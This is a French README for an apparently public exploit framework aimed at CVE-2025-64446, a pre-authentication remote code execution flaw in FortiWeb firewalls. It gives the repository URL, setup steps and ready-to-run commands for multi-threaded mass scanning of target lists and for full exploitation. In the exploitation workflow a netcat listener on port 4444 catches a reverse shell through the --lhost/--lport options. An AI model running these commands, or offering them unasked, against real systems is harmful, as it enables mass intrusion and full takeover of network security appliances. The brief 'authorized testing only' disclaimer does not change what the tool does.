
Outil de recherche en sécurité pour la vulnérabilité FortiWeb CVE-2025-64446. Framework d'exploitation automatisé avec journalisation avancée, métriques en temps réel, débogage par proxy et rapports professionnels. Inclut une logique de nouvelle tentative, le multi-threading et des paramètres configurables. Réservé aux tests de sécurité autorisés. CVSS 9.8 Critique.
Framework professionnel de recherche en sécurité et d'évaluation de vulnérabilités
Installation · Démarrage rapide · Guide d'utilisation · Architecture · Référence CLI · Avertissement
FortiWeb Research Tool est un framework d'évaluation en Python pour la détection et l'analyse autorisées de la CVE-2025-64446, une vulnérabilité critique d'exécution de code à distance avant authentification affectant les appliances FortiWeb Web Application Firewall.
| Attribut | Détail |
|---|---|
| Auteur | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (Critique) |
| Classe | Contournement d'authentification + traversée de chemin → téléversement arbitraire de fichiers → RCE |
| Versions affectées | Versions antérieures à 7.6.7 / 7.8.7 / 8.0.2 (vérifier auprès de l'avis officiel) |
| Remédiation | Mettre à niveau vers une version FortiWeb corrigée |
| Langage | Python 3.7+ |
| Point d'entrée | exploit.py |
| Mode | Option(s) | Objectif |
|---|---|---|
| Détection | --detect-only | Indicateurs de vulnérabilité sans exploitation |
| Sûr / lecture seule | --safe-mode | Ignorer les étapes d'exploitation qui modifient l'état |
| Scan massif | --targets + --scan-mode | Évaluation parallèle multi-cibles |
| Exploitation | --target + --lhost | Chaîne contrôlée en laboratoires autorisés uniquement |
| Essai à blanc | --dry-run | Dérouler le flux sans appliquer de modifications |
| Rapports | --output-dir | Rapports d'intervention JSON + HTML |
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2025-64446 |
| Score CVSS | 9.8 (Critique) |
| Impact | Compromission totale du système en cas d'exploitation réussie |
| Correctif | Mettre à niveau vers 7.6.7, 7.8.7, 8.0.2 ou une version ultérieure |
Confirmez toujours les versions affectées et corrigées auprès de Fortinet PSIRT avant de définir le périmètre de l'intervention.
| Utilisation | Résultats du scan |
|---|---|
![]() | ![]() |
| Sortie HTML |
|---|
![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| Paquet | Rôle |
|---|---|
requests, urllib3 | Client HTTP |
rich, colorama, tqdm | Interface terminal et progression |
pyyaml | Chargement de config.yaml |
Optionnel (dev) : pytest, black, flake8, mypy, python-dotenv — voir requirements.txt.
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
Remarque : Le mode exploitation requiert
--lhost. Utilisez--detect-onlyou--safe-modelorsque vous n'envisagez pas d'exécuter la chaîne complète.
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
La détection évalue l'accessibilité, les indices de version, l'exposition de l'API, les indicateurs de traversée de chemin, les signaux de contournement d'authentification et l'accessibilité des endpoints de téléversement. Le risque est classé Critique / Élevé / Moyen / Faible à partir de ces indicateurs.
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager exécute les workers FortiWebScanner via un pool de threads, affiche un tableau récapitulatif Rich et écrit scan_report.json / scan_report.html.
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
Les options CLI remplacent les valeurs chargées depuis le YAML.
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch